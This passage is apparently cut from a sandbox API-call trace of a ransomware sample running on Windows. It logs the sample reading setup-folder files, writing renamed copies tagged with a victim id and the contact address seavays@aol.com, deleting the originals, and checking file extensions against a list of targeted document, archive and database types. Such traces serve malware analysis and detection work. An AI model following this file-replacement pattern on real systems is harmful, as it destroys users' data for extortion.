lpNewFilePointer=0x0) returned 1 [0052.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.005] GetLastError () returned 0x0 [0052.005] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x3758, lpOverlapped=0x0) returned 1 [0052.007] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x3760, lpOverlapped=0x0) returned 1 [0052.008] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.008] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0052.008] SetEndOfFile (hFile=0x2e8) returned 1 [0052.008] CloseHandle (hObject=0x2e8) returned 1 [0052.009] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.009] SetEndOfFile (hFile=0x2f8) returned 1 [0052.010] CloseHandle (hObject=0x2f8) returned 1 [0052.010] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.010] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0052.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.010] lstrlenW (lpString=".doc") returned 4 [0052.010] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.010] lstrlenW (lpString=".docx") returned 5 [0052.010] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.010] lstrlenW (lpString=".pdf") returned 4 [0052.010] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.010] lstrlenW (lpString=".xls") returned 4 [0052.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".xlsx") returned 5 [0052.011] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.011] lstrlenW (lpString=".ppt") returned 4 [0052.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString=".zip") returned 4 [0052.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".rar") returned 4 [0052.011] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".bz2") returned 4 [0052.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.011] lstrlenW (lpString=".7z") returned 3 [0052.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString=".dbf") returned 4 [0052.011] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString=".1cd") returned 4 [0052.011] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString=".jpg") returned 4 [0052.011] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.011] lstrlenW (lpString=".doc") returned 4 [0052.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".docx") returned 5 [0052.011] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.011] lstrlenW (lpString=".pdf") returned 4 [0052.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".xls") returned 4 [0052.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.011] lstrlenW (lpString=".xlsx") returned 5 [0052.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.012] lstrlenW (lpString=".ppt") returned 4 [0052.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.012] lstrlenW (lpString=".zip") returned 4 [0052.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.012] lstrlenW (lpString=".rar") returned 4 [0052.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.012] lstrlenW (lpString=".bz2") returned 4 [0052.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.012] lstrlenW (lpString=".7z") returned 3 [0052.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.012] lstrlenW (lpString=".dbf") returned 4 [0052.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.012] lstrlenW (lpString=".1cd") returned 4 [0052.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0052.012] lstrlenW (lpString=".jpg") returned 4 [0052.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.012] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0052.012] lstrlenW (lpString="SetupResources.dll") returned 18 [0052.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.012] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=18776) returned 1 [0052.013] CloseHandle (hObject=0x2f8) returned 1 [0052.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0052.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.013] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.013] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0052.015] GetLastError () returned 0x0 [0052.015] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4958, lpOverlapped=0x0) returned 1 [0052.016] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4960, lpOverlapped=0x0) returned 1 [0052.017] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.017] WriteFile (in: hFile=0x2e8, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf8, lpOverlapped=0x0) returned 1 [0052.017] SetEndOfFile (hFile=0x2e8) returned 1 [0052.018] CloseHandle (hObject=0x2e8) returned 1 [0052.019] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.019] SetEndOfFile (hFile=0x2f8) returned 1 [0052.019] CloseHandle (hObject=0x2f8) returned 1 [0052.020] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.462] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0052.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.485] lstrlenW (lpString=".doc") returned 4 [0052.485] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".docx") returned 5 [0052.485] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.485] lstrlenW (lpString=".pdf") returned 4 [0052.485] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".xls") returned 4 [0052.485] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".xlsx") returned 5 [0052.485] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.485] lstrlenW (lpString=".ppt") returned 4 [0052.485] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.485] lstrlenW (lpString=".zip") returned 4 [0052.485] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".rar") returned 4 [0052.485] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".bz2") returned 4 [0052.485] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.485] lstrlenW (lpString=".7z") returned 3 [0052.485] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.485] lstrlenW (lpString=".dbf") returned 4 [0052.485] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".1cd") returned 4 [0052.486] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".jpg") returned 4 [0052.486] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".doc") returned 4 [0052.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString=".docx") returned 5 [0052.486] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.486] lstrlenW (lpString=".pdf") returned 4 [0052.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString=".xls") returned 4 [0052.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString=".xlsx") returned 5 [0052.486] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.486] lstrlenW (lpString=".ppt") returned 4 [0052.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".zip") returned 4 [0052.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString=".rar") returned 4 [0052.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.486] lstrlenW (lpString=".bz2") returned 4 [0052.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.486] lstrlenW (lpString=".7z") returned 3 [0052.486] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".dbf") returned 4 [0052.486] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.486] lstrlenW (lpString=".1cd") returned 4 [0052.486] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0052.487] lstrlenW (lpString=".jpg") returned 4 [0052.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.487] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.487] lstrlenW (lpString="Setup.ico") returned 9 [0052.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.487] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=36710) returned 1 [0052.487] CloseHandle (hObject=0x2f8) returned 1 [0052.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0052.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.487] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.487] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.489] GetLastError () returned 0x0 [0052.489] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x8f66, lpOverlapped=0x0) returned 1 [0052.490] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x8f70, lpOverlapped=0x0) returned 1 [0052.492] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.492] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe6, lpOverlapped=0x0) returned 1 [0052.493] SetEndOfFile (hFile=0x340) returned 1 [0052.493] CloseHandle (hObject=0x340) returned 1 [0052.494] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.494] SetEndOfFile (hFile=0x2f8) returned 1 [0052.495] CloseHandle (hObject=0x2f8) returned 1 [0052.495] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.496] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0052.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.496] lstrlenW (lpString=".doc") returned 4 [0052.496] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.496] lstrlenW (lpString=".docx") returned 5 [0052.496] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0052.496] lstrlenW (lpString=".pdf") returned 4 [0052.496] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.496] lstrlenW (lpString=".xls") returned 4 [0052.496] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.496] lstrlenW (lpString=".xlsx") returned 5 [0052.496] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0052.496] lstrlenW (lpString=".ppt") returned 4 [0052.496] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.496] lstrlenW (lpString=".zip") returned 4 [0052.496] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.496] lstrlenW (lpString=".rar") returned 4 [0052.496] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.496] lstrlenW (lpString=".bz2") returned 4 [0052.496] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.496] lstrlenW (lpString=".7z") returned 3 [0052.496] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".dbf") returned 4 [0052.497] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".1cd") returned 4 [0052.497] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".jpg") returned 4 [0052.497] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".doc") returned 4 [0052.497] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.497] lstrlenW (lpString=".docx") returned 5 [0052.497] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0052.497] lstrlenW (lpString=".pdf") returned 4 [0052.497] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString=".xls") returned 4 [0052.497] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString=".xlsx") returned 5 [0052.497] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0052.497] lstrlenW (lpString=".ppt") returned 4 [0052.497] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".zip") returned 4 [0052.497] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString=".rar") returned 4 [0052.497] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.497] lstrlenW (lpString=".bz2") returned 4 [0052.497] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.497] lstrlenW (lpString=".7z") returned 3 [0052.497] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.497] lstrlenW (lpString=".dbf") returned 4 [0052.498] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.498] lstrlenW (lpString=".1cd") returned 4 [0052.498] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0052.498] lstrlenW (lpString=".jpg") returned 4 [0052.498] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.498] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.498] lstrlenW (lpString="stop.ico") returned 8 [0052.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.498] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10134) returned 1 [0052.498] CloseHandle (hObject=0x2f8) returned 1 [0052.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0052.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0052.498] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.499] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.499] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.499] GetLastError () returned 0x0 [0052.499] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x2796, lpOverlapped=0x0) returned 1 [0052.506] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x27a0, lpOverlapped=0x0) returned 1 [0052.508] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.508] WriteFile (in: hFile=0x340, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.508] SetEndOfFile (hFile=0x340) returned 1 [0052.508] CloseHandle (hObject=0x340) returned 1 [0052.509] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.509] SetEndOfFile (hFile=0x2f8) returned 1 [0052.510] CloseHandle (hObject=0x2f8) returned 1 [0052.510] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.511] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0052.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0052.511] lstrlenW (lpString=".doc") returned 4 [0052.511] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.511] lstrlenW (lpString=".docx") returned 5 [0052.511] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0052.511] lstrlenW (lpString=".pdf") returned 4 [0052.511] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.511] 